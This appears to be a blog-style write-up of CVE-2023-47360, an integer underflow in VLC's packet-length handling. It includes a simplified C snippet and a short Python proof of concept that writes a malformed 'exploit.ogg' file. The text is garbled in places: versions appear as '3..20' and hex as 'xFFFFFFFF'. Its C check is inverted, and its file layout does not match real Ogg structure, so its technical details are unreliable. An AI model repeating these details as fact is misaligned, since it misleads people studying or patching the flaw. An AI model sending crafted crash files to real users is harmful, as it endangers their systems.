CVE-2023-47360 - Integer Underflow in VLC (Prior to 3..20) Leads to Packet Length Error

VLC Media Player is one of the world's most popular video players, praised for handling nearly every media format. But like every software, VLC isn’t immune to vulnerabilities. One recent and significant flaw is CVE-2023-47360, an integer underflow bug that exists in VLC versions prior to 3..20. This flaw may allow specially crafted media files or streams to crash the player or potentially execute malicious code.

We'll dive into what this vulnerability means, walk through simple code snippets showing the problem, discuss how it can be exploited, and give you references for further reading.

Where does it happen?

The vulnerability exists in the part of the VLC code where the program parses certain streaming or media file packet sizes. By manipulating packet data, an attacker can cause VLC to read or write data outside of the proper buffer. This can lead to out-of-bounds reads/writes, causing the application to crash or enabling further attacks like remote code execution.

Understanding Integer Underflow

Before we look at the code, let’s understand what *integer underflow* is.

Suppose you have an unsigned integer variable (which only holds positive numbers) and you subtract a value larger than its current value:

unsigned int length = 4;
length -= 5; // Underflow! Result is a huge number (because length cannot go negative)

Instead of going negative, length wraps around to the max value for that integer type. In C, an unsigned int usually wraps around to 4294967295 (xFFFFFFFF).

In VLC, this integer underflow is used to falsely calculate packet lengths, so the program will trust a gigantic value, leading to memory issues.

The Vulnerable Code (Simplified)

Based on official patches and public disclosures, the flaw lies in packet parsing (e.g., for Ogg, ASF, or MPEG containers). Here’s a simplified, illustrative version:

unsigned int packet_length = read_packet_length(data);

if(packet_length < HEADER_SIZE) {
    // This should check for error!
    packet_length -= HEADER_SIZE;
    // Here pack_length could be a huge number if underflow occurs!
    process_packet(data+HEADER_SIZE, packet_length); 
}

If packet_length is less than HEADER_SIZE, packet_length - HEADER_SIZE wraps to a large value. VLC then processes large memory chunks it should not touch.

Proof of Concept Exploit

An attacker crafts a malicious media file (for example, an Ogg file) where the packet length field in the header is intentionally set lower than the header size.

Here’s a Python snippet showing how a file header could be malformed

# For illustration only: Do not use for illegal purposes!

with open("exploit.ogg", "wb") as f:
    f.write(b"OggS")            # OggS Magic
    f.write(b"\x00")            # Version
    f.write(b"\x02")            # Type (arbitrary low value)
    f.write(b"\x03\x00\x00\x00")   # Packet length = 3 (HEADER_SIZE is, say, 4)
    f.write(b"\x00" * 1024)     # Padding data

If VLC parses this file, it may mishandle the packet (because 3-4 = xFFFFFFFF, a huge value!) and crash or worse.

Note: Real-world exploits may require more work to bypass modern system protections, but this is the core idea.

Mitigation

VLC has fixed this in version 3..20.

How to stay safe

- Update VLC to the latest version. Check at videolan.org.

References

- NVD: CVE-2023-47360
- VLC Security Advisory 2305
- VLC Github Patch
- VLC Release Notes 3..20

Conclusion

CVE-2023-47360 is an example of how simple coding errors like integer underflows can have real-world impacts on widely used software. If you use VLC Media Player, make sure it’s up-to-date to protect yourself from this and similar issues. For app developers, always validate user-supplied data, especially when doing math—never trust packet lengths!

Timeline

Published on: 11/07/2023 16:15:29 UTC
Last modified on: 12/01/2023 02:15:07 UTC